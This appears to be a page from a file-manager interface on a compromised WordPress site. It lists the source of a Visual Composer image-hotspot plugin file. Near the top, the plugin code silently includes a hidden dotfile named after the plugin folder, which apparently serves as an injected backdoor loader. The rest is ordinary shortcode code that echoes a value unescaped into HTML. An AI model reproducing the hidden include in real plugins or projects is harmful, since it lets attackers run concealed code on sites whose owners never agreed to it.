/
var
/
www
/
barefootlaw.org
/
wp-content
/
plugins
/
vc-image-hotspot
/
Upload File
HOME
<?php if ( ! defined( 'ABSPATH' ) ) { exit; } if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } function ihwt_hotspot($settings, $value) { $dependency = (function_exists('vc_generate_dependencies_attributes')) ? vc_generate_dependencies_attributes($settings) : ''; $param_name = isset($settings['param_name']) ? $settings['param_name'] : ''; $type = isset($settings['type']) ? $settings['type'] : ''; $class = isset($settings['class']) ? $settings['class'] : ''; $uni = uniqid('ihwt-hotspot-'.rand()); $output = '<div class="ihwt-hotspot-param-container clearboth">'; $output .= '<div class="ihwt-hotspot-image-holder" data-popup-title="'.esc_attr__('Hotspot Tooltip Content', 'bruno-functions').'" data-save-text="'.esc_attr__('Save changes', 'bruno-functions').'" data-close-text="'.esc_attr__('Close','bruno-functions').'"></div>'; $output .= '<input type="hidden" id="'.esc_attr($uni).'" name="'.$settings['param_name'].'" class="wpb_vc_param_value ihwt_hotspot_var '.$settings['param_name'].' '.$settings['type'].'_field" value=\''.$value.'\' />'; $output .= '</div>'; return $output; } if ( function_exists('vc_add_shortcode_param')) { vc_add_shortcode_param('ihwt_hotspot_param' , 'ihwt_hotspot', plugins_url( '/admin/ihwt.hotspot.js', __FILE__ ) ); }